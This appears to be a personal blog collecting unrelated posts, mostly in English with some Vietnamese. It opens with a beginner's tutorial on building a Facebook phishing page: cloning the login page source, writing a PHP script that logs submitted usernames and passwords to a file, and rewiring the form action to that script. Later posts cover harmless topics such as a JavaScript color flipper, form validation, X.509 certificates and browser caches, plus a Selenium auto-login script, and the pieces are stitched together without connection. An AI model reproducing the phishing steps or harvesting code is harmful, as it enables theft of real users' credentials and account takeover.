Thứ 3, ngày 21-12-2021

Topic: Complete Guide to Creating and Hosting a Phishing Page for Beginners

Hello there, Recently I have come across many guides about creating phishing pages. Although the principles behind each guide is similar, most of hosting solutions provided in the guide does not work anymore due to increase in the crackdown of phishing pages by the hosting companies. In this guide, I will go through every step necessary to create and host a phishing page of your choice. Enjoy !

Step 1 : Download the HTML index of the Target Webpage

To start off, you need to obtain the HTML index of the page. There are various methods of doing this, there are even templates online for popular sites. In this tutorial, I am going to use the most basic way in order to be as noob-friendly as possible.

Navigate to Your Webpage

In this tutorial, I am going to phish Facebook

Imgur

View the Source of the Webpage

Depending on your browser, there may be different methods. Normally it is done by right clicking the site and clicking “View Source”. I have done that on my browser and a windows should come out similar to this:

Imgur

On the box to the right is the source of the website. Which leads on the next step:

Downloading and Saving the Source Code

Select the box, and copy-paste everything in the box to a txt document. Use notepad on windows, and a simple text editing program if you are not using windows. (Don’t use programs like Word or Pages because it is really slow). After you have done that, click, “Save As” or whatever option that allows you to save that document. On Notepad it should look like this :

Imgur

Change “Save as type” to All files and change the encoding to Unicode.

After that, name the document “index.html”, obviously without the speech marks

Imgur

Congratulations ! You have finished the first step of the tutorial !

Step 2 : Creating a PHP file for Password Harvesting

The PHP file is basically the tool that harvest the users password in this scenario. There are several ways you can create this PHP if you have some programming knowledges, but if you don’t, just copy my examplar PHP.

<?php
header('Location: facebook.com');
$handle = fopen("log.txt","a")
foreach($_POST as $variable => $value){
    fwrite($handle,$variable);
    fwrite($handle,"=");
    fwrite($handle,$value);
    fwrite($handle,"\r\n");
}
fwrite($handle, "\r\n\n\n\n");
fclose($handle);
exit;
?>

Same as above, save the PHP file as “All files” and as “post.php”. Change the encoding to Unicode and you should

Step 3 : Modify the Page HTML File to Incorporate Your PHP File in it.

Now, we need to incorporate our PHP file, to receive password that the users end.

Find the Password-Sending Method

First, you need to see how the website deals when the user submits a username-password.

For Facebook, all you need to do is to Ctrl-F and type “=action” in the field.

Imgur

Now, you need to replace everthing in the underlined porion with “post.php”, keep the speech marks. (just one set place).

Obviously, this method will be different for other websites. A goos method to find it is by using Inspect Elements tool in most modern browsers and clicking on the login button. Find something similar to the above method.

Please note: You will need to change this later when you actually host the website.

Thứ 6, ngày 24-12-2021

How to create a Color Flipper

Imgur

In this John Smilga tutorial, you will learn how to create a random background color changer. This is a good project to get you started working with the DOM.

In Leonardo Maldonado’s article on why it is important to learn about the DOM, he states:

By manipulating the DOM, you have infinite possibilities. You can create applications that update the date of the page without needing a refresh. Also, you can create applications that are customizable by the user and then change the layout of the page without a refresh.

Key concepts covered:

  • arrays

  • document.getElementById()

  • document.querySelector()

  • addEventListener()

  • document.body.style.backgroundColor

  • Math.floor()

Before you get started, I would suggest watching the introduction where John goes over how to access the setup files for all of his projects.

Build 15 JavaScript Projects - Vanilla JavaScript Course

Hướng dẫn và ví dụ Javascript Form Validation

1. Form Validation

Khá thường xuyên bạn gặp một website mà ở đó người dùng nhập các thông tin vào một biểu mẫu (form) trước khi gửi tới máy chủ. Chẳng hạn biểu mẫu đăng ký tài khoản. Các thông tin mà người dùng nhập vào biểu mẫu cần phải được xác thực (validate) để đảm bảo sự hợp lý của dữ liệu.

Imgur

Một vài ví dụ về xác thực:

  • Kiểm tra đảm bảo dữ liệu không rỗng.

  • Kiểm tra định dạng email

  • Kiểm tra định dạng số điện thoại

…

Về cơ bản có 3 cách để xác thực dữ liệu:

  1. Dữ liệu của form sẽ được gửi tới server (máy chủ), và việc xác thực (validate) sẽ được thực hiện tại phía máy chủ

  2. Dữ liệu của form sẽ được xác thực tại phía client bằng cách sử dụng Javascript, điều này giúp server không phải làm việc quá nhiều và tăng hiệu năng cho ứng dụng

  3. Sử dụng cả 2 phương thức trên để xác thực form

Trong bài học này tôi sẽ thảo luận về việc sử dụng Javascript để xác thực (validate) form. Dưới đay là hình minh hoạ mô tả hành vi của chương trình khi người dùng nhấn vào nút Submit.

Imgur

  1. Bạn phải đăng ký một hàm liên hợp với sự kiện onsubmit của form. Nhiệm vụ của hàm này là kiểm tra dữ liệu mà người dùng đã nhập vào form, và trả về true nếu tất cả các thông tin người dùng nhập vào hợp lệ, ngược lại trả về false.

  2. Người dùng nhấn vào nút Submit, hàm liên hợp với sự kiện onsubmit sẽ được gọi.

  3. Nếu hàm liên hợp với sự kiện onsubmit trả về true dữ liệu của form sẽ được gửi tới server. Ngược lại hành động Submit sẽ bị huỷ bỏ.

2. Ví dụ đơn giản

OK, đây là một ví dụ đơn giản giúp bạn hiểu về nguyên tắc hoạt động của Form trước khi thực hành các ví dụ phức tạp hơn.

Imgur

Thuộc tính (attribute) action của <form> được sử dụng để chỉ định trang mà dữ liệu sẽ được gửi đến, hay nói cách khác đây chính là trang sẽ xử lý dữ liệu được gửi đến từ <form> của trang hiện tại.

Các trang xử lý dữ liệu gửi đến form thường được viết bởi công nghệ Servlet/JSP, PHP hoặc một công nghệ nào đó ở phía server thay vì một trang HTML. Tuy nhiên tôi không đề cập với việc xử lý dữ liệu trong bài học này.

Thứ 7, ngày 25-12-2021

simple-validation-example.html

<!DOCTYPE html>
<html>
   <head>
      <title>Hello Javascript</title>
      <script type = "text/javascript">
         function validateForm()  {
             var u = document.getElementById("username").value;
             var p = document.getElementById("password").value;

             if(u== "") {
                 alert("Please enter your Username");
                 return false;
             }
             if(p == "") {
                 alert("Please enter you Password");
                 return false;
             }

             alert("All datas are valid!, send it to the server!")

             return true;
         }
      </script>
   </head>
   <body>

      <h2>Enter your Username and Password</h2>

      <div style="border:1px solid #ddd; padding: 5px;">
         <form method="GET" action="process-action.html" onsubmit = "return validateForm()">
            Username: <input type="text" name="username" id="username"/>
            <br><br>
            Password: <input type="password" name = "password" id="password"/>
            <br><br>
            <button type="submit">Submit</button>
         </form>
      </div>

   </body>
</html>

process-action.html

<!DOCTYPE html>
<html>
   <head>
      <title>Process Action</title>

   </head>
   <body>

      <h3>Process Action Page</h3>

      OK, I got data!
      
      <br/><br/>

      <a href="javascript:history.back();">[Go Back]</a>

   </body>
</html>

Imgur

3. Truy cập vào các dữ liệu của form

Truy cập vào dữ liệu của một trường (field) thông qua ID của trường

<input type="text" id="username">
<input type="password" id="password">

// Access field via ID
var field = document.getElementById("field")
var value = field.value

Truy cập vào các trường của Form thông qua thuộc tính name:

<form name="myForm" ...>
    <input type="text" name="username"/>
    <input type="password" name="password"/>
    <button type="submit"> Submit</button>

// Get form via form name
var myForm = document.forms["myForm"];
var u = myForm["username"].value;
var p = myForm["password"].value;

Thứ 4, ngày 05-01-2021

Understanding Public Key Infrastructure and X.509 Certificates

Imgur

Public Key Infrastructure (PKI) provides a framework of encryption and data communications standards used to secure communications over public networks. At the heart of PKI is a trust built among clients, servers and certificates authorities (CAs). This trust is established and propagated through the generation, exchange and verfication of certificates.

This article focuses on understanding the certificates used to establish trust between clients and servers. These certificates are the most visible part of the PKI (especially when things break!), so understanding them will help to make sense of - and correct - many common errors.

As a brief introduction, imagine you want to connect to your bank to schedule a bill payment, but you want to ensure that your communication is secure. “Secure” in this context means not only that the content remains confidential, but also that the server with which you’re communicating actually belongs to your banks.

Without protecting your information in transit, someone located between you and your bank could observe the credentials you use to log in to the server, your account information, or perhaps the parties to which your payments are being sent. Without being able to confirm the identity of the server, you might be surprised to learn that you are talking to an impostor (who now has access to your account information)

Transport layer security (TLS) is a suite of protocols used to negotiate a secured connection using PKI. TLS builds on the SSL standards of the late 1990s, and using it to secure client to server connections on the internet has become ubiquitous. Unfortunately, it remains one of the least understood technologies, with errors (often resulting from an incorrectly configured website) becoming a regular part of daily life. Because thost errors are inconvenient, users regularly click through them without a second thought.

Understanding the X.509 certificates, which is fully defined in RFC 5280, is key to making sense of those errors. Unfortunately, these certificates have a well deserved reputation of being opaque and difficult to manage. With the multitude of formats used to encode them, this reputation is rightly deserved.

An X.509 certificate is a structured, binary record. This record consists of several key and value pairs. Keys represent field names, wherye values may be simple types (numbers, strings) to more complex structures (lists). The encoding from the key/value pairs to the structured binary record is done using a standard known as ASN. 1(Abstract Syntax Notation, One), which is a platform-agnostic encoding format.

Thứ 7, ngày 12-02-2022

How to See Cached Pages And Files From Your Browser

When you surf the web and run across an issue with loading websites, the advice you’ll hear most is to try to clear your browser cache and delete cookies. Most computer users are familiar with these terms. However, not everybody knows what exactly cached data and cookies are and why you should clear them from time to time.

If you ever wondered what kind of data your browser collects when you search the web, there are a few places where you can look for it. Find out how to see cached pages and files from your browser and decide whether you;d like to keep that data or clear it for good

What are cookies and Browser Cache ?

Your browser cache is a location on your computer where the cached web content (or cache is stored)

Your web browser stores complete or partial copies of the pages you recently viewed together with the media (images, audio, and video) in a file on your computer called the cache. The cached files are temporary files that help the internet pages load quicker.

That’s why when you clear your browser cache, you’ll often see that the sites load slower than usual.

Cookies are files that contain small pieces of data associated with the web pages that you visit. They’re stored on your computer while you use your web browser. Their primary purpose os to track your online activity.

Cookies record information like your most recent visit to the website or your login details. That’s the reason why you often have to log into every site all over again after you delete your cookies.

How Does Browser Caching Work ?

When you visit a website for the first time, the browser fetches all the data and media from the server.

When you visit the same site again later, the browser retrieves only the HTML page information from the web server.

All the static parts of the page like images or JavaScript files are pulled from the exisiting browser cache. Since the second time the size of data transferred from the remote web server to your browser is much smalle, your page loads faster.

How To View Cached Pages And Files

In order to see cached pages and files, you first need to locate them. You can’t always see them since the folder where they’re stored may be hidden.

Instructions for Windows

On Windows, the path to locate the browser cache is little different. For example, for Google Chrome it looks like this:

C:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Default\Cache

You can also find Chrome’s cache folder using the Run command

Access the Run command through the Start menu or using Windows key + R. The copy and past the following into the command line/

Link: https://drive.google.com/drive/folders/1c_Logbm1It3kZzD3jKH-PcbfXahYrqI3?usp=sharing

Code defense:

from cgitb import text
import tkinter as tk
from tkinter import ttk 
from selenium import webdriver

driver = webdriver.Chrome()
win = tk.Tk() 
win.title("dutsec")

# Them label username 

lbl_username = tk.Label(win,text="username", fg="black",font = ("Times",20))
lbl_username.grid(column = 0, row = 0)

# Them textbox username 

txt_username = tk.Entry(win,width=20)
txt_username.grid(column=1,row=0)

# Them label password

lbl_password = tk.Label(win,text="password", fg="black",font = ("Times",20))
lbl_password.grid(column = 0, row = 1)

# Them textbox password

txt_password = tk.Entry(win,show = '*',width=20)
txt_password.grid(column=1,row=1)

# Them label website hay dung

txt_websites = tk.Label(win,text="websites", fg="black",font = ("Times",20))
txt_websites.grid(column=0,row=2)


# Them combobox 

combo = ttk.Combobox(win)
combo['values'] = ("fb.com","sv.dut.udn.vn")
combo.grid(column=1,row=2)

def Solve():
    fi = txt_username.get()
    se = txt_password.get()
    th = combo.get()
    if(th=="fb.com"):
        web = "http://"+th
        driver.get(web)
        driver.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/div/div/div/div[2]/div/div[1]/form/div[1]/div[1]/input').send_keys(fi)
        driver.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/div/div/div/div[2]/div/div[1]/form/div[1]/div[2]/div/input').send_keys(se)
        driver.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/div/div/div/div[2]/div/div[1]/form/div[2]/button').click()
    elif(th=="sv.dut.udn.vn"):
        web = "http://" + th + "/PageDangNhap.aspx"
        driver.get(web)
        driver.find_element_by_xpath('/html/body/div[6]/form/div[3]/table/tbody/tr[1]/td[3]/input').send_keys(fi)
        driver.find_element_by_xpath('/html/body/div[6]/form/div[3]/table/tbody/tr[2]/td[2]/input').send_keys(se)
        driver.find_element_by_xpath('/html/body/div[6]/form/div[3]/table/tbody/tr[3]/td/input').click()
        return
    return

# Them button 

btn_submit = tk.Button(win,text = "Submit", command= Solve)
btn_submit.grid(column = 0, row= 3)

# Them label author

lbl_author = tk.Label(win,text="Author: Ngo Tan Tri", fg="black",font = ("Times",20))
lbl_author.grid(column = 0, row = 4)

# run permanent
win.mainloop()